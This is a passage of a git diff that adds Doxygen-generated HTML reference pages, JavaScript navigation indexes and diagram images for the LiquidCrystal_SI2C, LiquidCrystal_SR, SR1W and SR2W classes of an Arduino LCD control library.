setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html new file mode 100644 index 0000000..dc5de2d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.html @@ -0,0 +1,536 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SI2C Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_SI2C Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SI2C:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SI2C (uint8_t lcd_Addr)
 
+ LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)
 
+ LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
+ LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t value, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_SI2C::LiquidCrystal_SI2C (uint8_t lcd_Addr)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SI2C::LiquidCrystal_SI2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SI2C::LiquidCrystal_SI2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
d4[in]LCD data 0 pin map on IO extender module
d5[in]LCD data 1 pin map on IO extender module
d6[in]LCD data 2 pin map on IO extender module
d7[in]LCD data 3 pin map on IO extender module
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SI2C::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+ 		+virtual
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SI2C::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SI2C::setBacklight (uint8_t value)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SI2C::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
)
+ 		+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters
+ + +
0backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js new file mode 100644 index 0000000..8404479 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.js @@ -0,0 +1,13 @@ +var class_liquid_crystal___s_i2_c = +[ + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#ac77c2e6cca626aeae8838769fb70f7be", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#a79edfbd0842a34f10265cb65576d4879", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#aa1a837dec506f9c459605c7bd4b7fe8c", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#a806579792d7a37fecdb21e115ec62cf7", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#ac0e7a4841e03a4e4916c66ff48ea53e9", null ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html#a85bdea23d3121833d512af3760bd0592", null ], + [ "begin", "class_liquid_crystal___s_i2_c.html#a74fde8669f097755a6e8a376bb2877cb", null ], + [ "send", "class_liquid_crystal___s_i2_c.html#aa882cbbbb14985cab8432686723beaf9", null ], + [ "setBacklight", "class_liquid_crystal___s_i2_c.html#afa64775ef5faa3646385506b4adf7f2d", null ], + [ "setBacklightPin", "class_liquid_crystal___s_i2_c.html#a80adc9d27907d9145ad208eba4ae2ffa", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c.png new file mode 100644 index 0000000000000000000000000000000000000000..63f46f7cbafd4eefd75fd20d1aee628330983bf6 GIT binary patch literal 615 zcmeAS@N?(olHy`uVBq!ia0vp^Z=NoWAr*{o=U&{j%7BN#{3XxN|MvU3 z9HL$I7iB){v20%|;x%oGNW7pRCxfA}v|rWPGk<;>-`gp%-On~R?Hk+s>hHRb_Za<; zFTY+pm)Usp|Idx()AD*}-jtqGzkmCj+sDql(RlvJH-Ev(7$uOtXlO8te0u;(kVuA4V!%!7+ETpYr4ri*_+{fB=Fw+ z)z7~$@hD)k{Ew&p0Y?`XCI^N#kc$rOt-Tzx{%lMe!}lwj&wfq)a;7L=_`yBy4Tq%? z>u<~}m#w`m$Moi@wf?%)2iM*^+4Uii~2-gx$C}S-F?+B|9-K~dV9eA&F1%aGT(0&e0^T~0Qb2n o`@gH6zgK9mw|^ljD0$xg@4`giy$O{}z*NED>FVdQ&MBb@05=sdApigX literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html new file mode 100644 index 0000000..e4f75ac --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r-members.html @@ -0,0 +1,138 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR(uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)LiquidCrystal_SR
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SRvirtual
setBacklight(uint8_t mode)LiquidCrystal_SRvirtual
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystal_SRvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html new file mode 100644 index 0000000..1667c57 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.html @@ -0,0 +1,366 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_SR Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t pin, t_backlighPol pol)
 
void setBacklight (uint8_t mode)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata,
uint8_t srclock,
uint8_t enable = TWO_WIRE 
)
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]optional direct enable pin for the LCD
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR::setBacklight (uint8_t mode)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
modebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::setBacklightPin (uint8_t pin,
t_backlighPol pol 
)
+ 		+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

Warning
Currently not supported
+
Parameters
+ + + +
modebacklight mode (HIGH|LOW)
polbacklight polarity
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js new file mode 100644 index 0000000..5a3272a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js @@ -0,0 +1,7 @@ +var class_liquid_crystal___s_r = +[ + [ "LiquidCrystal_SR", "class_liquid_crystal___s_r.html#ac3fe0b48f8d4c1c941d82d1333495cfc", null ], + [ "send", "class_liquid_crystal___s_r.html#a03821351a32db07cb7e42c8c11ce8d47", null ], + [ "setBacklight", "class_liquid_crystal___s_r.html#ad9f3e3f36257984c23fb508973e14535", null ], + [ "setBacklightPin", "class_liquid_crystal___s_r.html#a5bfc0dcc1f042bcb59992493a3a7231d", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.png new file mode 100644 index 0000000000000000000000000000000000000000..f99d2102bf4a679e364b480eadf6561a2dc2d92d GIT binary patch literal 596 zcmeAS@N?(olHy`uVBq!ia0vp^IY8XO!3-o#bN^)nDTx4|5ZC|z{{xvX-h3_XKQsZz z0^$DS^ZAr*{o=f0h^S%JsR|54BRzxO|G zyTYC`9cKJje!cnGziGZ7SqjdVZQW^qeV^;YeLM;6D{mgos@}A;>~>au%H^sVyW>yC z+P{ALdhhGQ=i6o9a^JkNY2w{ex%Q`>8%$T$FIss`G17cf{@*o=qx8PzR^Q!hS?z4b ze)gB$?}y*_9!-fotUi_R{LMcrKHt2yW}@x9&CfTzwOzAn-JZ3Z%N9MW-07OU-C5^# zjz62p%LChrlAc@YR)-}2EMmM<99EX)zSf_|VMhP7nKM;Cvi`jo;oUe_i(FnGH9 KxvX + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR1W Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR1W, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR1W(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol=POSITIVE)LiquidCrystal_SR1W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR1Wvirtual
setBacklight(uint8_t mode)LiquidCrystal_SR1Wvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html new file mode 100644 index 0000000..22765e5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html @@ -0,0 +1,322 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR1W Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_SR1W Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR1W:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol=POSITIVE)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklight (uint8_t mode)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR1W::LiquidCrystal_SR1W (uint8_t srdata,
t_sr1w_circuitType circuitType,
t_backlighPol blpol = POSITIVE 
)
+
+

LCD 1 wire SHIFT REGISTER constructor. Defines the pin assignments that connect to the shift register. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters
+ + + + +
srdata[in]Arduino pin for shift register.
circuitType[in]optionally select an alternate circuit type
blpol[in]optional backlight polarity (default = POSITIVE)
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR1W::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR1W::setBacklight (uint8_t mode)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
mode[in]backlight mode (0 off, non-zero on)
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js new file mode 100644 index 0000000..ecf896b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js @@ -0,0 +1,6 @@ +var class_liquid_crystal___s_r1_w = +[ + [ "LiquidCrystal_SR1W", "class_liquid_crystal___s_r1_w.html#a33bff2c123d3dc42a829b0f8034912c9", null ], + [ "send", "class_liquid_crystal___s_r1_w.html#a7fc0b03977907b4d526a6b9e49a331b1", null ], + [ "setBacklight", "class_liquid_crystal___s_r1_w.html#a82d844569eb258559afb40ab354eb0a5", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.png new file mode 100644 index 0000000000000000000000000000000000000000..d5074f7cde611e34fd52626b01b7f036b79d7087 GIT binary patch literal 612 zcmeAS@N?(olHy`uVBq!ia0vp^bwJ#~!3-qD%+~J%QW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;(bJ3#oeXj z!t1kVQW#G&ulCrx zdw0kG72BU4f4pAId+zSvd3rC8e=3~iUH&~e=HmLv7vgvAey{TN-Me;=y+)s(*RH$y z{oT9o6ROI~1y`1ri!Z!BJ*bPPL7RucYRj+03BR`fYL9&>{`$Vn=V1N?N?#e2g7_6M zsB}Z)%Z-dHJZu{}_Ah$h{p?><&rGflXQFQ3S-*DqpSa%{H!d*eY_QpQGsoM0d)z6_ z4*4&^2e$6AvweGR+w-U2p6^}x-0IqNhiePUUmf2k^|$2iH=B0WYcjPx$*aR_FaOD| zHUBkz-fTgWuJl^o2bphQU%9(r{mUI|oa|j|^UGiFX5XLr#pvhTQ}z45m0ElapKo=Z zG49&>&D&4xeqDOMy!hs_`tN+RzyGzfy&z*9*SdX=uK(-(S%&q;8S9>{`L|5pweBN> h%bvaW&iEW-@BEi8aQ0TI4=_nEc)I$ztaD0e0sz~MGQ + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR2W Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR2W, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR2W(uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)LiquidCrystal_SR2W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR2Wvirtual
setBacklight(uint8_t mode)LiquidCrystal_SR2Wvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html new file mode 100644 index 0000000..0aecb99 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html @@ -0,0 +1,322 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR2W Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_SR2W Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR2W:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklight (uint8_t mode)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata,
uint8_t srclock,
t_backlighPol blpol = POSITIVE 
)
+
+

